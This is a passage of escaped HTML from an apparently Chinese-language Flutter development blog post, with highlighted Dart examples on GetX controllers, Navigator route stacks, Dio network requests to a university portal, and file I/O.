class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Add it!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efontSize:\u003c/span\u003e \u003cspan class=\"m\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"getx-控制器类状态管理\"\u003eGetX 控制器类状态管理\u003c/h4\u003e\n\u003cp\u003e再给大家介绍一下\u003ccode\u003eGetxController\u003c/code\u003e,我 PDA 用的后者更多。\u003c/p\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\u003c/p\u003e\n\u003cp\u003e每个 GetX Controller 都是继承 GetController 虚拟类的一个类。这个类里面,除了你要使用到的值和方法,还有两个方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eonInit():在这个控制器初始化的时候使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eonReady():在这个控制器刚初始化(时间大约一帧后)运行,处理异步请求。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在使用控制器的时候,我们可以直接用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eGetBuilder\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eController\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ebuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e建议阅读 Traintime PDA 代码中的\u003ccode\u003econtroller/sport_controller.dart\u003c/code\u003e,\u003ccode\u003erepository/xidian_sport/xidian_sport_session.dart\u003c/code\u003e,以及 page 下面关于体育部件的代码。以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eController(GetX Controller) \u0026ndash; Model(Dio网络库) \u0026ndash; View(Flutter)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"杂项\"\u003e杂项\u003c/h2\u003e\n\u003ch3 id=\"路由栈\"\u003e路由栈\u003c/h3\u003e\n\u003cp\u003e栈是先进后出的结构,而路由栈里面,存的是每个页面的信息了。在 Flutter 中,我们这么处理路由栈:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说压入路由栈,进入这个页面。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说弹出路由栈的顶,也就是返回上一个页面\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以做到按需弹栈,然后压栈\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epushNamedAndRemoveUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 弹栈之后要压入的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRoute\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这个是判断栈顶元素是否符合要求的函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里面的 context 是指,这个应用,或者这个部件的状态。\u003c/p\u003e\n\u003ch3 id=\"dio-网络插件\"\u003eDio 网络插件\u003c/h3\u003e\n\u003cp\u003eFlutter 提供了很多的插件,来方便我们的开发体验。其中最著名的就是 Dio 网络库。他是一个异步网络访问库,使用方式和 axios 比较像。\u003c/p\u003e\n\u003cp\u003e先说明一下拦截器,它可以在获取回复/发送请求时,先拦截之,然后对该包进行修改。\u003c/p\u003e\n\u003cp\u003eDio 类的定义,其中我用到了拦截器和对基地址的设置,设置了这个,后面的访问就可以输入那个网站的子路由了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Maybe I wrote how to store the data is better.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003e_dio\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBaseOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebaseUrl:\u003c/span\u003e \u003cspan class=\"n\"\u003e_baseURL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtentType:\u003c/span\u003e \u003cspan class=\"n\"\u003eHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eformUrlEncodedContentType\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个拦截器是 Cookie 管理器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einterceptors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieManager\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDio 的使用示例,它可以支持 POST,GET 等常见的 HTTP 请求方式。可以设定传输参数,请求头等很多东西。它的返回和 axios 大致相同,有响应数据,响应代码等。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XN\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;XQ\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003esemesterCode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;-\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;datas\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cxjcs\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rows\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;XQKSRQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"存储\"\u003e存储\u003c/h3\u003e\n\u003ch4 id=\"dart-操作文件的函数\"\u003eDart 操作文件的函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样定义一个文件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;file.txt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照字符读取文件的方法,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsString\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsStringSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 按照一行一行字符读取文件的方式,异步和同步\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLines\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsLinesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003eEncoding\u003c/span\u003e \u003cspan class=\"nl\"\u003eencoding:\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制读取方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 中表示二进制有一个专门的类型,叫做 Uint8List\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eUint8List\u003c/span\u003e \u003cspan class=\"n\"\u003ereadAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 二进制写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsBytesSync\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nl\"\u003eflush:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 字符串写入方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eFuture\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFile\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ewriteAsString\u003c/span\u003e\u003cspan 